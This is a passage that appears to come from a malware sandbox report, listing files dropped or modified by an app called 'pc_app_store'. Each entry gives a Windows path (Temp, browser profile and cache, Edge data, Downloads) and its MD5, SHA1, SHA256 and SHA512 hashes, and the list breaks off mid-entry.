SHA1 5fef0cd17e36a5586b79aa3769623b6d6f54c2fd
SHA256 4388186414c20b9ac10fcabc14cb995e190e0aa31316ac688ce008c7b7df4fc1
SHA512 5b632bc0ba5de9698186a3a1247e6a87acbdf79497ed9e1017fed5149fdbed3c72995e5f8f018becfaf92148ca2c002c75f3b8c258ba754642c433bc64e1cbeb

C:\Users\Admin\AppData\Local\Temp\nspF383.tmp\Math.dll

MD5 85428cf1f140e5023f4c9d179b704702
SHA1 1b51213ddbaedfffb7e7f098f172f1d4e5c9efba
SHA256 8d9a23dd2004b68c0d2e64e6c6ad330d0c648bffe2b9f619a1e9760ef978207a
SHA512 dfe7f9f3030485caf30ec631424120030c3985df778993342a371bf1724fa84aa885b4e466c6f6b356d99cc24e564b9c702c7bcdd33052172e0794c2fdecce59

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Extension Rules\MANIFEST-000001

MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Crashpad\metadata

MD5 e7708eac89910783d3743d4af87e1c60
SHA1 bf2c91f344420677c1653bd7ac47ed7d6ef4af80
SHA256 8aecf131d54a58df70a51b040090d6024f2808e07a4978ac5486d55ee3b3bcf6
SHA512 60a25c69e8526ea0ba281e6b11193ce5ecefa8873b1b1152452d52bedcd47e526e1818c4b919263cdb015dcbc1716aae6f853a61e99735919594d005c31b31a2

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Crashpad\reports\03b5fcf2-d4d1-4e9d-9780-bf795cc8783b.dmp

MD5 31b4e5ff0619493fa8b81da76e8d37ec
SHA1 d0f7af05c3f2bfd8c1c11e249d0e9520d36945e5
SHA256 8381e02258d43bb7f8ff340ed4cf2a5f16c2b1435421ffbc1335c6489b32dde0
SHA512 8c8407d08c732dff4d165ad7b00ccf6c25ad7433d2561a94aee670e918e10ceb7f212b68495ea6214bf770cb4156d812437767e4fa5d8bf165a0f04b803d1548

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Google Profile.ico

MD5 728fe78292f104659fea5fc90570cc75
SHA1 11b623f76f31ec773b79cdb74869acb08c4052cb
SHA256 d98e226bea7a9c56bfdfab3c484a8e6a0fb173519c43216d3a1115415b166d20
SHA512 91e81b91b29d613fdde24b010b1724be74f3bae1d2fb4faa2c015178248ed6a0405e2b222f4a557a6b895663c159f0bf0dc6d64d21259299e36f53d95d7067aa

C:\Users\Admin\AppData\Local\pc_app_store\User Data\GraphiteDawnCache\data_3

MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

C:\Users\Admin\AppData\Local\pc_app_store\User Data\GraphiteDawnCache\data_1

MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

C:\Users\Admin\AppData\Local\pc_app_store\User Data\GraphiteDawnCache\data_2

MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

C:\Users\Admin\AppData\Local\pc_app_store\User Data\GraphiteDawnCache\data_0

MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Web Applications\_nwjs_pcapp.store\pc_app_store.ico.md5

MD5 03e9f614a008075733c76883156b568b
SHA1 5f9cb1b06928487c4b836e9dedc688e8a9650b0b
SHA256 b1a6a6fb45ad1e13054c40dc7c09e3098ee830bcf1ebaec27f640ae4c64b8416
SHA512 7e6969c8908a6bf57bd2cb4457a7c78360468383acee589278e49829617e2f3b872dd8213e57a2ed8f512d444c67a2e619deabdc1394d1c39c7759ed3c744f94

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Cache\Cache_Data\f_000006

MD5 78b151f06a4e0f5c23ee128bf779c507
SHA1 9b4eee484605fa7cd4a3fcb41ddc140354615f48
SHA256 9760d9bde7fdfeae010de3e38ee6f2851f5b0b9f1974228cf69a296fd5f2be34
SHA512 0aaed169ecf34227aef3fce5ea608b2f9471bc991c3de555aba867a209e6c71f7cd45e5458d03f80ac521abdf045642cd94c0a95d3a030cb856490b2859a21a5

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Local State

MD5 eece5bec5490b9ea4726e86629a53c0d
SHA1 bf1c9cd0690a6a69a873fe0b1356eb0b231e93aa
SHA256 452bb80f2a9a8175b3d8cd4daeb702acbfb109e33381b672161b82421b2244e4
SHA512 5824587cbc7e8d7ff70d972cab1df0a7aa76b4bcc0fa66bf2256b1c36f5c6ee847e5651811a581db52088c6277ea99f74c4630221ccd5aff87bdc667d9355bfc

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Local State~RFe604848.TMP

MD5 186a77e731439a66b19f266c7b52b3df
SHA1 11ea559ed1cae8decf36c296c965768c24c5322d
SHA256 bce7e42d7da5526de4029d4b892d87c605ccdc84649ee0c40bf869f6e985e46d
SHA512 7c756964bdfcacc1e70ec0d18092303b134c0f26c3e16459615126118cb6595754ab5adfb43975a3efad8bfa6e095dd76384219a590d367053b4fbd8e9d53121

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 cf2fc59867690f4beba69970e5653ec9
SHA1 1ada91b87c00f7c922c948d9ea823a276d25d27b
SHA256 d085f5ab41103dc806a142472071564d69e7de4e2a97a6d1d5d663c49119955b
SHA512 19c7491554edcb3b32854f2eb759e6ff933456c4d3f64730c1c3e3045376533c1b79c3451250593fcb51b03d5e8c742d54a1d7017825423cd933aa950a791955

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Cache\Cache_Data\f_000019

MD5 4dc1a10689bfa27f25ff964c4077f19a
SHA1 ba1d74f559aa8855f892e17dd3424ef5c43ad6b0
SHA256 f25bf434b1b6376e9557f79845df245bd5acf8e26847f8b3b901f6fbfe240031
SHA512 881fdaebbc1ea49317c713694b50a012e4714ce8b770da56df4e179daaf05ff3446e475391cf162dabce21affd33012c28f213cda05892c51c59539203906341

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 769afa61537d70be8e71ed06f8f40a9f
SHA1 8518a699102cd5076a1b0df1c4e84ae1dfd22300
SHA256 47623ac2d5c9d94b088c3b4786fed2f552e0aca6aac361041d8439ee0e6b9c35
SHA512 253b055b971461b16d9761405e4ddcb3960b8c8e0e74e26bce9ed06545bb9407a254902d57afa34f7e25d9347ef07af3ff049973ab6f4ca369365b9eef233d56

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences~RFe6071e8.TMP

MD5 4797f1061ec3feb677e89505662336f1
SHA1 b946d567a2cce208d72b04e7a724aaa5d052cfd5
SHA256 4d4acaccbbc8bb99f00f70cdb6430417e89e52c7144f08f65108e67c29a59139
SHA512 99b916c2260e38f69103d48627c6ec4f74eef72bfedf18d97944675ee7e5fbbe7688373781b3246a6908da88a1a89f03a0b68f202c437c7d8e594cf8b1ee7af3

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Network\TransportSecurity

MD5 a00bfa6814a12e57d69fe00553e20dc8
SHA1 05ef4955dee0609517c4b03e7db678d6cf346755
SHA256 4ad2fce9c120e5e3dc8bed0b75ebcc8bfaea9271089c956c3f479aeacf78d251
SHA512 23329103c5db4ca8d5d6b3452f188d4fe3f608473c99b3a4978f4c78e61b58a609aaa3afa13f7fe2ebddd6cb0e2e0cc31b33536c9b198f65f141028d66be107b

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Network\TransportSecurity~RFe6073ec.TMP

MD5 42ffc8ca40e1d9e4f77cf1eeaec9b74b
SHA1 baf3feff9f27c6ee8a10b1832a7e2048df5e649c
SHA256 92a83961dc5b504890be75e09867652f7ec0beac41f9220e97b8eec17eb92fc5
SHA512 d7058d9f4a0bd75a61ff3ed374f04c2ae4ebaf8ff85fe3e9887bc77e95d6fb528b23612fd4275dd4ba680caaef6500e23bc8b09197890dd3047f9bf96e79c341

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 adfd09d5ab0a2eeb70b2c71ca8480be3
SHA1 bb9634cd3ee78db6c1ab4be4ece0018ea6dfaee9
SHA256 2b89f4d272d573e5c3dd28a943adb8d1cdde3db9406459d79b4df8b7110d10b2
SHA512 3fdf4b8c8655b82f4607d7e22327e5a3fcb540cb3e8efcfa5d9a477db04fcada13ee383eb4b0b900351b57e7973c28771fbcbd1c4129dec2d1c5e403f1fe50e4

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 675ae58bec4161bee89a5839faf36d7b
SHA1 1f9de64f9c4bfd589b593b448681de3415fd036a
SHA256 811c4fb09100e78656af9168e6b1e6bb8f91bca5b26396f0df6d411a9eee3fdf
SHA512 c2f961533d3cca62303670ec7cb7d33ae6a3323ef958fb3a0ec43f18d69a89d37e02c90d78c421efe60c8ee56b41c00b38704b8fbd05bef2b71ef92ceeff92c5

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

MD5 cfedb2825b27cfa4eb9705145a25613a
SHA1 33b719069eb65571456ceeb5d4eda8415557e0ad
SHA256 27cee451990a869e8aa2e5b5abcc14cc9f351d52b580020898db3597196e7c97
SHA512 84f9b0b97af6aa81f5a3dc5dc3898c73c57b119b8d83069c83b42b2977b19124bbd58d65fbfa4deabc0e1d35ae83b3439c45b3f959e317a22bf0e2e67a03f58d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000183

MD5 8f04f76490159678309f3dba8f4fd3ee
SHA1 1f856f26163e3f5a0cb0ca8d3ddffc27c8c46fe2
SHA256 f67e085f67a7753c10e0f8099d78503ff028abe8a8471e65d4a1bfb1cc73f074
SHA512 742c71708cb4a62dfa5fc3aee9a337566793cace18de29169ab7fa311a68a7c892a9d2b983d976f1925cf6f67ab580d8ca21e96452cf8b0820d674f427f06f78

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\7cf9843337c39c04_0

MD5 f83572a82d5018fdd2b92ae0c663ecf8
SHA1 d9d761e963503fabb722e262681fd1f1679764f1
SHA256 7d5b65941cac6b1db1e30364e409b6c8eb903d262e378b04b011e6c272fd952b
SHA512 f286041cd7ee401c9edf6f9cfbc08cdfa6147cb7fd74346dc8a7d4229902f92ab769d91cacac7e2ff3f3445dc62218c2ded75a984577556eb5581f2f504e9fa9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\635e64b37935c888_0

MD5 e4d2dc6626fc098f0e56f9877936d1ed
SHA1 88f339b1fbee577f6ae3e214c0e1335b34aa86fd
SHA256 42c78549c855c3be53ef9233cc0999e835d0990db368a64fe56b6e4989b929a8
SHA512 f2da2953c0eec82290347682024a1f409ee0d4e5c8580747d7b9e2cdfc79d6762ab8c7c08e4e01aa942251ac60351c69d96b66e505623e1760e15407a0f58457

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ca5bb3c84b908d6e_0

MD5 5c5f6e1ab1e3d2dac7d0ec560911c40b
SHA1 9be49f19454a0f2016a7ecfa64c60192b0991abb
SHA256 19cb12528d2cda6589ac236fee8907591c9db91edfca19e2c1fb30b3980e6e35
SHA512 9d281620f7de6d61d797c947064a7b6a96fce0bc87787729d3aaa670a36c96220171ee1cff8d3b3ead7b5f450b451cc868d99f93d280e24c973b5a7acd827dd2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\718aba49c9504085_0

MD5 cc28bb18b542d54c3ad33df2b0997299
SHA1 6a2280d13c3c5c2d6c15b0017772be54cabb2132
SHA256 a67c0e9ce08df170868585364c177f769283693b4de9d0cb87857b4385763fef
SHA512 39a22b12b99ac4ca71a53d6b2c3ff6789f8cbdbdb4c70dc01a9dd12870de457b4b576974eac1834bbf6e71416004b5dbdef0ae70dbc7e1b52fb16f7ef8d552fa

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5801d3329fb36c59_0

MD5 a09cf6c5811c07565aa44513d52c87eb
SHA1 609429ad647a9bc6dabca7fc76e9ee85ad1f61d5
SHA256 d8df6d1762e957fc812a722b53242849dbbc917f2207e60cc2ea2aa9ea53926d
SHA512 90812c2d35e78e7d8c43b732ed6626f86cb23382c25a765b0cb22a642df0c03cb5654bdca35d40c183d51c784d74a8b3d27c4823c14fc1cba1ffce4411f8734c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\e3d18be5d494e38e_0

MD5 4c61300a00ae1b63b1af652feb8ee57a
SHA1 58b027f5ae209e6bbd14539d4e693855f58d71f6
SHA256 4fdb5b0139161152765e65477c220805d3529aa524db6ab8ce529d45364a5971
SHA512 df082251cd321e5ba662142dc9b5a510122cf2b569e5034999933872a1e3eb099b869b552fe06d8d20e2383e9b9416f023aa8c076401c1239a23e08d434eeb50

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\960f838b42b585c9_0

MD5 d7839486acac0c8a7fd54599151bb403
SHA1 40e5664b15811f17b52da468d1a9673e748580d7
SHA256 d4660e4defaea620f00047bd9c8ba6c5ccce3d363f162e0bd165c06b9be1715f
SHA512 a0427c88479a6c16c0d7a0a7dff23d6b81b896deca85efa75454cd10dc795a9a925a541d7d882b2ec3d28bdd16c3879a66c1d4836277bfcafac72c9559c2b215

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\87bfea9426cb2ef3_0

MD5 18217349191d19a6cd7b58b9d7dd4ff2
SHA1 8044223ce6e82e4a098ee50009e33e3f16fed435
SHA256 43ee058d20e2b2e423e275d6fbbee3cea689073c0b8820645140e6d55e89c70a
SHA512 37df85dcf0778ab9ea1749b0919d5cc290f5e0af0bc1f8e27d1b0e727fed0c0433a8cafe563234b0785169c2673f85e6858a2d5b4074608c50d8bea225f52249

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6b462fc8990cd7fd_0

MD5 c64371efc040c92dcd1df7c5b7ff6220
SHA1 3e2e0e5433e3847c39621b626cf0471fd523c413
SHA256 87e5c574492f179effddf6508112f8ec7137b1b4b3ed36e6552b360a0835bec0
SHA512 32abef71c85f4121224d0d84cd41c4d1baea87888c1e6e3acc11503a3c2666715e183b5c977bdc45c24195bd008b2a79c40a6c21952bff2a8797aa62292ff24c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fbbc3b076556d40d_0

MD5 40f7c10f302f0e028bec825735bd649e
SHA1 83da4faa9b29f25266b7f11c20858cc827fd1d89
SHA256 888e8a530b8ca826c8c70f5ef46650eebaafae9db41d88d01af09ab4bb1f620b
SHA512 6459bb893bf0a8ea0c875cf05d9e7ec7c9cfb915c73e08f795717864d2c4246887b0f2365609fbe5bc081eac7d3a2fb10ece0138b64d5f3651bfbabada2113ba

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\62f20db8aae8f96d_0

MD5 b00804c218686421086c24b02026ca45
SHA1 f9645b3123af83b1b05d22a66705645ce087e9f8
SHA256 0cbce7bb873b5876cc929a82039cd3712eb4de7e11958e8f8b6717a7aa4a4c6d
SHA512 5fbc4b4376e0f03950637390e6dd44fbbfd0ccce6182fcc6a84c3ca19fda4e1059d8fb2aae8690f15f1a797ff6d1fb653650de633ea2e9c978c26b4eff609651

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5de9f44e801f6134_0

MD5 158ce886341d77cfc2385773b51d8862
SHA1 d66540d376c71efb1d660e4fd9e81d7fb7ce735b
SHA256 96ebe900d2c17c8ba77ed3bea534461f9ff839c9cf53294786784bad78778692
SHA512 8e0f163cb52f8068751fb8d8f817a44c15112011d40f1fc12cff25a06caa81712b708273a7eeacbdf1c353bdafc4783c93f1af6471208f8ae48ea87ef79b4fbf

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00004f

MD5 0f3de113dc536643a187f641efae47f4
SHA1 729e48891d13fb7581697f5fee8175f60519615e
SHA256 9bef33945e76bc0012cdbd9941eab34f9472aca8e0ddbbaea52658423dc579f8
SHA512 8332bf7bd97ec1ebfc8e7fcf75132ca3f6dfd820863f2559ab22ac867aa882921f2b208ab76a6deb2e6fa2907bb0244851023af6c9960a77d3ad4101b314797f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 e0febf5d00fd8cc7a6d90a08314969d2
SHA1 419fa5b62be3586c7e66ebb7e88cb9e16bb889a2
SHA256 3427bc37e97a11fc9923a383b5c787464925b6875451af004c691816af009a78
SHA512 c8784092c572a41121fbc2a11f7d4d8b20f4eb8354d15139b31e080bbb1affed7ca5aa1e95bf06163f39fb98f5fc6812731ba881f80ee11c9f155a76b4f01f02

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 1a4d2de3c61804559e702365ee721f1d
SHA1 3644f2b85b405128f1f78c4c80a51d266880c94e
SHA256 22edece7644f81a0fc1abd9f0430fef4a3ccf71d05fe360ee5c8dbfaead7b434
SHA512 cec1d374ab6b931224b5b0fc8a49fc37f52c26f595a37454d206f1480856f969109f1bc13374d10176ba66c73d5746d366b6b0ae1652bb6ce234d6582e245be8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 5ad19dc0a1fc8d86fe4fa5120b0facfe
SHA1 2f84d5c1181ebbcfbc287bd1cb38af294a8f8328
SHA256 50c9cc57d648d60022ccf323d5016aac100c9068cb7d6a5e17b1795a385e3690
SHA512 271551227de46a4b445c40eceda782c17a4d189b114d6cbd16acbeb66f899e7fc1fa7f50c730d05e99817ea0649b954445626b4e81c4fee7c92d8f44ec9b5d97

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 f38b51ae26d17b11d1295f4f4e42e487
SHA1 d01cbcf60cf7a7f605e510970a2efcee584e13f1
SHA256 f14c0f44f8cc56ccf519ced7c351ec76f7f574f933cb9d307d57b8d8eeda05a4
SHA512 fcaf201e10c68c61ca5c2cacf3ba5fac79226bd5c69a5207e4915be5612184d15e8aedc7d62e64d768f5a2eef11c853a90ffbfc39426b2c8d8d38e7094259590

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 1e27e5e4989678817afb15e23cf292b0
SHA1 da49b021db309afef7695626977f9a82e125d704
SHA256 604f5b4ca5d73fa321b1292889ef4f4909f31d76835c9d84e8c2f232397ef8a0
SHA512 da6e444dbd70f997730edbd328a667659efcf9d54abb2bcac03ba41ef04c05711b9e4847b02fcad25b0d207c91a75f2c00055d3a4d8f05d752870bfef34f09cc

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 1e214d2a3a626464b0ecd512af55d9e8
SHA1 61d81bf484395216514c03c9914adf672e703db7
SHA256 b8504bff5be4c13d95fec66ba363f5400b74a982937b6c8f18e86229b3884cf8
SHA512 b0f4bdd606f9d01fdcee3c9edb90385051597615e2ccd171803f79c0b0c39ddc8498cd3a5abe8c94ac7220e903d47f6a394e853248b3013a0f18f31507cbf379

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 1720c6ba6d52e255dcb0047e982bfaba
SHA1 7e8ee7be0c586f9f24e933880c0369b29604d34f
SHA256 dc01e6db7f38d717cab95d733aea51cbf5e2475e5bd9e7e497bd2859b5795e05
SHA512 0949e0b3ac37a577b5bba43f4bdd68f495ac97081f96dff7134ed0cd7e12181e29b826c190262f3600d24f18683329d393650a46b0274f6dac96890a02f616ee

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 991bc38f152463ed3e4f6228d1e8a2d5
SHA1 1a1131ad07b43edf9356ebfb51470865d0c05a2e
SHA256 bd3a97169b2808b1562dfc0dd48502faaceb0bff5797de247214c6b2c077085b
SHA512 582edb334b3f4ece18dcd2121a850bc34a94319ff83c0457a4662c95431cdaa3fae6f4a263751715666b9bee014c24cd66a8412853b2841e7e45094ef158331a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 dac426dc661f62c95a0985bda8b5d512
SHA1 ccb2a5381514bfec928f9ad2dfb79a270fe5b5c6
SHA256 6b3ac7478aa8e76d70342d14284b8fbb823858eb7ce774a9b63cf469d9ac194d
SHA512 f78de5ab33968a5c31c28adaa99eb3c9b7b1d53308ee00eb16949053ab7d09b48b5778e8849c996a92f3af930e692ca8108a7ca97392c5b91d27fd72cf236621

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 a0e668ffed1c77867edf185b9cb297a6
SHA1 322007c84cff20d530e5535da133a768bb125aa9
SHA256 d4870e0ca98ddf789e089373196fd6c9cb3f6bd38c92583572e46036305a5dda
SHA512 4288887e73267d37d9ff06894597c4f9a461faf3638b0daf251dd781426e765599499a4c3fffa439693a1137b45cc0a232151d746ee1f4f47ef89d5bb9d5529a

C:\Users\Admin\Downloads\Unconfirmed 5630.crdownload

MD5 a56d479405b23976f162f3a4a74e48aa
SHA1 f4f433b3f56315e1d469148bdfd835469526262f
SHA256 17d81134a5957fb758b9d69a90b033477a991c8b0f107d9864dc790ca37e6a23
SHA512 f5594cde50ca5235f7759c9350d4054d7a61b5e61a197dffc04eb8cdef368572e99d212dd406ad296484b5f0f880bdc5ec9e155781101d15083c1564738a900a

C:\Users\Admin\Downloads\Unconfirmed 5630.crdownload:SmartScreen

MD5 4047530ecbc0170039e76fe1657bdb01
SHA1 32db7d5e662ebccdd1d71de285f907e3a1c68ac5
SHA256 82254025d1b98d60044d3aeb7c56eed7c61c07c3e30534d6e05dab9d6c326750
SHA512 8f002af3f4ed2b3dfb4ed8273318d160152da50ee4842c9f5d9915f50a3e643952494699c4258e6af993dc6e1695d0dc3db6d23f4d93c26b0bc6a20f4b4f336e

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Network\Network Persistent State

MD5 a0452314a52743651d143fd6aa6196d2
SHA1 06c17b9ba25d90ffe185d614454895c6e7136a24
SHA256 62cc896d8279d3e6c4ce35deb0e0eab18edff1aed02868e2e5192212df07ba2a
SHA512 59f2573cadc7f81626a313025ae201b47e2d00b0e84df302da4d2eba7cb6a705ed325f37e67f2542d105a5fe52a8025c0ac698208ff91662b930c0a2e1f4259c

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Network\Network Persistent State~RFe6135f4.TMP

MD5 2800881c775077e1c4b6e06bf4676de4
SHA1 2873631068c8b3b9495638c865915be822442c8b
SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
SHA512 e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 c278c4b5a580218133788efe651093a3
SHA1 17a07514954e6e5964a416d141680ee9fdedf5f6
SHA256 cb43bc3cb38fd63ceefd10f7112aa5caaa317a2804d984d49f8a5081b9775493
SHA512 9740e81926fad2f18ff5b808074022a3158c32189100769f2ea0fb159616f1aa33986ad8c72c1e47eec1c089207133bbf3bc8e8d0d8cba00b1fab86150ff4e83

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 a5089147f2ee9faae6c70ce9f4a14bdd
SHA1 9cf216d8bdec3f385873825c986233ef30164b7a
SHA256 3d0795e16e66d379d40f907d45e664ffc125b1a2b6550ecfc96a1e45190b6e93
SHA512 7a6b60d7e994160bac698688d7b4afcf599a8c7c9f84b82d14de4bbebde4388cf733f2003bdcf876383e5063d01b74ff24a08ff0a3fe8904057a291082b5b5d6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 60e682f5196875a6ca01bc226854e11a
SHA1 838ae29674491988fad167a77965e879d5a04d3c
SHA256 fc88b4235727a4715fb5af55b6862ec4e1fc69a43e8356d524eeef0fa17887bf
SHA512 40e91b12275f1ccaa6397650b376fd60d2825e83aa46cb9f523969536f62bdb226f9bb47e3420ed7cbe78b62d4c30d2276d85e35e2c01b2441bb173308bc55a8

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Network\TransportSecurity

MD5 71377ee66653284debbed753d6f05426
SHA1 223168a31d638eab47a92621abdaa5c0859ba7ff
SHA256 997a49ba3a4be1a79b416bbcbe74c2958215224449ec0cfeb3bf415d42b90f9c
SHA512 814ddf349c9ffb6b2f5ab7983db687e33eb81a32b3fac604177d8839aa29f1986d10e7d5b0e754dd5e32f88b3c97e729f3d0c6c24917488aec94c4519228bf9b

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 5387701eed3fcd42075bab3ee5409cc3
SHA1 ebf6d0f203a7d42b27846741794b79369db8620a
SHA256 8961d3b797fa310b5d950b7aabefcf51736866f40a13aaa1a2ccdc8e153cd9c2
SHA512 95c7d36fbf5e949cc354661930574ac0738d238b5f72227e91ee3163a10b1819731bd951375a1c234497a879c6c386c7067c415de7175aefb13cb45991815402

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 1ad4ccbaf489536b8795f1607cf62b94
SHA1 bbe5c9500b5bc057c06a471a578403ca9b92daae
SHA256 3f109c7d8624be4324cc7577d4ce884a31d795703cc576dab0726635de62cef5
SHA512 1dbb3be100f3db88ceeaa1256d3d2fcf5e0b6fca32ced42efab0d105848e90831a71e8e7d7796ffa09e4a84db75b6a7c3d6ca1e885c5c5bfe67fab7ba537823a

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 31bc0abb58bb1e485c9f7abae3c7b250
SHA1 1401005a287eb25ad22f72cf0caa4f16b8d024bc
SHA256 6a843a322bbebc94bd78043ea27de12942467b282a66647abf71e548643c60f4
SHA512 9d17ee62fe285353eb17c11692eccca8617c727224305f3f70e960b984e7ab0670f1442a2645416f816bee73630684d68209f7e9a03bdc519170031dc4816508

C:\Users\Admin\Downloads\Unconfirmed 250813.crdownload

MD5 93ceffafe7bb69ec3f9b4a90908ece46
SHA1 14c85fa8930f8bfbe1f9102a10f4b03d24a16d02
SHA256 b87b48dcbf779b06c6ca6491cd31328cf840578d29a6327b7a44f9043ce1eb07
SHA512 c1cb5f15e2487f42d57ae0fa340e29c677fe24b44c945615ef617d77c2737ce4227d5a571547714973d263ed0a69c8893b6c51e89409261cdbedff612339d144

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 fe228a94edb2af87bae16ccb21f1c63f
SHA1 01388fc3d99053c1d7c5fb6da35eb02ad1fbf98f
SHA256 4480fabd8da748ee900fbcce8b7b78f095513a8b30a1e4b61a3329aeb455058e
SHA512 0185f39d966e898fb761f5d34801c4af666925a384c86a6f07ef0e6c7413ba3606068abaa27bfffb95884ca4dce6df08545e90c6fe7c081b831bd4064d25d8b7

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\c545b5e4-0ef7-49a0-8894-ded7d9584a56.tmp

MD5 86cc6bd6b74fd9a7ef61b4cbaf4b208b
SHA1 25e2d3a4ed25f2d99ec136f5b29f2d30c71bc46c
SHA256 eb258eed90581fc9cd9bce1acb34f8a8d55f48bf4c294fe005bd2413eb778efa
SHA512 59642fd4131a9241c9fe326bb3be1d2414d80151792c69d2d54a24d3e9f0f0fb867261920f697889c9b5a8abbc75b2db1bedcfc84c06bccf9c2f74e40938132a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 fe96b873f60587f791bf2b639cefd863
SHA1 a3377528bfb122548ba4e6cf52ea58a29800155f
SHA256 1e0436b93a7b5449b4134eeb69c254e290009e9c1014a2cff95580d86f0570c7
SHA512 463f448168eba3821083357d2f32285a3f5378a819eeb8c9bf55e87a01835eab7eb34c9feadaccbf999dd801a5fe0649d6e85cfc5b6ad79313d6c42cea510230

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 735e02cd94e3127de4a82caaeca5714a
SHA1 59ab9f6c6de183969e94a752847ac4fdb9a0529b
